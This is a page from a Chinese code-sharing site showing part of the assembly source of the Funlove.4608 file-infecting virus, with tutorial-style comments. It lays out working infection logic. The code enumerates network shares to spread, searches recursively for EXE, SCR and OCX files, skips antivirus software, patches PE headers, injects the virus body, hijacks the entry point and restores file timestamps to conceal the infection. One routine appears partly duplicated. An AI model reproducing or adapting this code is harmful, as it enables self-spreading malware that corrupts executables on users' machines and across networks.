funlove.txt

来自「Funlove.4608的源代码-Funlove.4608的源代码」· 文本 代码 · 共 1,426 行 · 第 1/3 页

TXT
1,426
字号
      push    00 
      call        VirtualAlloc 

    or          eax,eax 
    jz          short NET_Close 

      mov          EnumBufferAddr,eax 

NET_00: 

      mov          esi,EnumBufferAddr 

      lea          eax,EnumBufferSize 
      push      eax 
      push      esi 
      lea          eax,EnumNB_Objects 
      push      eax 
      push        WNetStructAddr 
      call        WNetEnumResourceA 

    or          eax,eax 
      jnz          short NET_Free 

      mov          ecx,EnumNB_Objects 
    or          ecx,ecx 
    jz          short NET_00 

NET_01: 
      push      ecx 
      push        esi 

      mov          esi,[esi + 14]          ; 计算机名 
    or        esi,esi     
    jz          short NET_03 

      cmp          word ptr [esi],0041      ; 是否为软盘 
    jz          short NET_03 

      lea          edi,[offset Buffer1 + ebx] 

NET_02: 

          movsb 
      cmp          byte ptr [esi],00 
      jnz          short NET_02 

      mov          al,'\' 
          stosb 

      push      edi 
      call        BlownAway 

      push      edi 
      call        FileSearch 

NET_03: 

      pop        esi 

      mov          eax,[esi + 0C] 
      and        al,2 
      cmp        al,2 
      jnz          short NET_04 

      push      esi 
      call        NetSearch 

NET_04: 
      add          esi,20 
      pop      ecx 
      loop        NET_01 

      jmp          short NET_00 

NET_Free: 
      push      8000 
      push    00 
      push        EnumBufferAddr 
      call        VirtualFree 

NET_Close: 
      push        WNetStructAddr 
      call        WNetCloseEnum 
          ret 
;************************************************************************************* 
; 查找文件子程序,这些跟以前DOS下没什么区别, 
; 
; 我还是喜欢用IFS_HOOK,可以做到全隐形哦,那感觉就是一个字--爽!  ^_^ 
;************************************************************************************* 
FileSearch: 
      mov          eax,CurrentDirEnd 
      mov          dword ptr [eax],002A2E2A  ; *.* 

      lea          edi,[offset Buffer2 + ebx] 
      lea          esi,[offset Buffer1 + ebx] 
      push      edi 
      push      esi 
      call        FindFirstFileA          ;找第一个文件 

      cmp          eax,-1 
    jz          short RS_Exit 

RS_00: 
      mov          SearchHandle,eax 

RS_01: 
      test        byte ptr [edi],10        ; 测试是目录还是文件 
    jz          short FileTest 

RS_Directory: 

      cmp          byte ptr [edi + 2C],'.' 
    jz          short RS_Next 

      mov          esi,edi 
      add          esi,2C 

      mov          edi,CurrentDirEnd 

RSD_00: 
          movsb 
      cmp          byte ptr [esi],0 
      jnz          short RSD_00 

      mov          al,'\' 
          stosb 

      push      edi 
      call        FileSearch 

RS_Next: 
      lea          edi,[offset Buffer2 + ebx] 
      push      edi 
      push        SearchHandle 
      call        FindNextFileA          ;查找下一个文件 

    or          eax,eax 
      jnz          short RS_01 

      push        SearchHand 
       
      RS_Next: 
      lea          edi,[offset Buffer2 + ebx] 
      push      edi 
      push        SearchHandle 
      call        FindNextFileA          ;查找下一个文件 

    or          eax,eax 
      jnz          short RS_01 

      push        SearchHandle 
      call        FindClose 

RS_Exit: 
          ret 
;******************************************************************** 
;没什么新意,略过吧 
;******************************************************************** 
FileTest: 

      mov          edx,[edi + 2C] 
    or          edx,20202020 
      xor          edx,61F81F61 

      lea          esi,[offset SkipNames + ebx] ; 跳过一些反病毒软件的感染 
      mov          ecx,0C 

FT_00: 
          lodsd 
      cmp          edx,eax 
    jz          short FT_Exit 

      loop        FT_00 

;************************************************************************ 
;注意拉, 
;************************************************************************ 
      mov          esi,edi 
      add          esi,2C 

FT_01: 
          lodsb 
    or        al,al 
      jnz          short FT_01 

      mov          eax,[esi - 4]          ; 扩展名判断 
    or          eax,20202020 

      cmp          eax,' xco'        ;控件 
    jz          short FT_02 

      cmp          eax,' rcs'          ;屏幕保护文件 
    jz          short FT_02 

      cmp          eax,' exe'          ;标准的EXE文件 
      jnz          short FT_Exit 

FT_02: 
      mov          eax,[edi + 20]          ; 文件小于2000的就不感染 
      cmp          eax,2000 
    jc          short FT_Exit 

      cmp      al,03          ; 检测是否已经感染 
    jz          short FT_Exit 

      lea          esi,[offset Buffer1 + ebx]          ; 取文件名和路径 
      lea          edi,[offset Buffer3 + ebx]     
      push        edi 

      mov          ecx,CurrentDirEnd 
      sub          ecx,esi 
      repz        movsb 

      lea          esi,[offset Buffer2 + ebx] 
      add          esi,2C 

FT_03: 
          movsb 
      cmp          byte ptr [esi - 1],0 
      jnz          short FT_03 

      call        InfectFile        ;干活了, 

FT_Exit: 
      jmp          RS_Next 
;***************************************************************************************** 
;感染文件子程序 
;***************************************************************************************** 
InfectFile: 
      push        i_Filename 
      push  03          ; 打开文件 
      call        OpenFile 

      cmp          eax,-1 
    jz          IN_Exit 

      mov          i_FileHandle,eax 

      push    00 
      push      eax 
      call        GetFileSize          ;取文件大小,用于以后还原 

      mov          i_FileSize,eax   

      cmp      al,03          ; 是否感染 
    jz        IN_Exit       

      lea          edi,[offset Buffer3 + ebx] 

      push    00 
      lea          esi,i_BytesRead 
      push      esi 
      push      2000 
      push      edi 
      push        i_FileHandle 
      call        ReadFile 
           
;********************************************************************************* 
;以下的程序跟文件头有关,建议没基础者找一些相关资料看看 
;********************************************************************************* 
      cmp          word ptr [edi],5A4Dh        ;DOS文件头,开始有点印象了吧 
      jnz          IN_CloseFile 

      cmp          word ptr [edi + 18],0040    ;是否为WINDOWS文件,此处>=40H,则为WINDOWS文件,<40H则为DOS文件 
      jnz          IN_CloseFile 

      cmp          dword ptr [edi + 3C],1C00  ; DOS文件头的大小 
    ja          IN_CloseFile 

      add          edi,[edi + 3C]          ;指向PE或NE文件头 

      mov          eax,[edi] 
      cmp          eax,00004550          ;PE文件吗? 
      jnz          IN_CloseFile          ;此步必须,因为WIN3.X的18H的值也大于等于40H 

      cmp          word ptr [edi + 5C],2    ; GUI???? 
      jnz          IN_CloseFile 

      mov          esi,edi 
      add          esi,18 
      add        si,[edi + 14]          ; 将ESI指向第一个节表 
      push        esi 

      mov          eax,[edi + 28]          ; 查找包含"PE"的节表 
           
IN_00:     
      mov          ecx,[esi + 0C] 
      add          ecx,[esi + 08] 

      cmp          eax,ecx 
    jc          short IN_01 

      add          esi,28 
      jmp          short IN_00 

IN_01: 
      sub          eax,[esi + 0C] 
      add          eax,[esi + 14] 
      mov          i_EP_Offset,eax 

    or          [esi + 24],80000000      ; 将它改为可写,这里是WINDOWS跟 
          ;DOS在程序和数据段上的一个重要改变 
          ;也是写WINDOWS病毒要注意的地方之一 
      pop    esi     
      xor          ecx,ecx 
      mov        cx,[edi + 06] 
      dec      ecx 
      mov          eax,ecx 
      mov          edx,28 
      mul      edx 
      add        esi,eax          ; ESI指向最后一个节表 

      mov          eax,[esi + 24] 
      cmp      al,80          ; 是否已经初始化 
    jz          IN_CloseFile 

    or          eax,8C000000          ; 将它改为可写, 
      and        eax,not 12000000          ; 不共享,不可丢弃 
      mov          [esi + 24],eax 

      mov          ecx,i_FileSize          ;这里好象跟SFX有点关系 
      mov          edx,ecx 
      mov          eax,ecx 
        clc 
      shr          eax,03 
      sub          edx,eax 
      sub          edx,[esi + 14] 
    jc          short IN_02 

      sub          edx,[esi + 10] 
      jnc          IN_CloseFile 

IN_02:          ; 重新计算节的长度 

      mov          edx,[esi + 08] 
     
      sub          ecx,[esi + 14]   
    jc          short IN_03 

      cmp          edx,ecx 
    ja          short IN_03 

      mov          edx,ecx 

IN_03: 
      test        edx,00000FFF     
    jz          short IN_04 

      and          edx,0FFFFF000 
      add          edx,1000 

IN_04: 
      mov          ecx,edx 
      add          ecx,[esi + 0C] 
      mov          eax,ecx 
      add          eax,4000 
      mov          [edi + 50],eax          ; 新的长度 

      sub          ecx,[edi + 28] 
      add          ecx,offset VStart - 100 - 08 
      mov          i_HostDep32,ecx 

      mov        eax,edx     
      add          eax,4000          ; 改变虚拟大小 
      mov          [esi + 08],eax 

      mov        eax,edx     
      add          eax,[esi + 14] 
      mov          i_VirusOffset,eax 

      add          edx,1000          ; 改变物理大小 
      mov          [esi + 10],edx 
      add          edx,[esi + 14] 
      add          edx,03 

      push        i_FileHandle 
      push      edx 
      call        MapFile 

    or          eax,eax 
    jz          short IN_CloseFile 

      mov          i_MapHandle,eax 

      push      eax 
      call        ViewMap 

    or          eax,eax 
    jz          short IN_CloseMap 

      mov          edx,eax 

      lea          esi,[offset Buffer3 + ebx]          ; 写PE文件头 
      mov          edi,edx 
      mov          ecx,2000 
      repz        movsb 

      lea          edi,[offset HostCode + ebx] 
      mov          esi,i_EP_Offset 
      add          esi,edx 
          movsd 
          movsd 

      mov        edi,esi          ; 设置CALL GS:Virus 
      sub          edi,08 
      mov          eax,00E8659090 
          stosd 
      mov          eax,i_HostDep32 
          stosd 

      mov        edi,edx     
      mov          eax,i_FileSize 
      mov          ecx,i_VirusOffset 
      sub          ecx,eax 
      jna          short IN_05 

      add          edi,eax 
      xor        al,al 
      repz        stosb 

IN_05: 
      mov        esi,ebx          ;写入病毒主体 
      mov          edi,edx 
      add          edi,i_VirusOffset 
      mov          ecx,VSize 
      repz        movsb 

      mov          ecx,Phys_VSize - VSize + 3 
      repz        stosb 

      push      edx 
      call        UnmapViewOfFile 

IN_CloseMap: 

      push        i_MapHandle 
      call        CloseHandle          ;关闭 

      call        Wait_A_Little          ;延时 

IN_CloseFile: 

      lea          esi,[offset Buffer2 + 14 + ebx]      ; 恢复文件的时间 
      push      esi 
      sub          esi,08 
      push      esi 
      sub          esi,08 
      push      esi 
      push        i_FileHandle 
      call        SetFileTime 

      push        i_FileHandle 
      call        CloseHandle          ;关闭文件 

IN_Exit: 
          ret 

;******************************************************************************** 
; 查找GetProcAddress 的子程序 
;******************************************************************************** 
Whereis_GPA: 

      lea          esi,[offset GPA_Sigs + ebx] 

      mov          byte ptr [offset OS + ebx],00 

      mov          eax,w_Kernel32 
      and          eax,0FFF00000 

      cmp          eax,0BFF00000 
      jnz          short OS_WinNT? 

OS_Win9x: 

      mov          edi,0BFF70000 
      jmp          short WG_00 

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?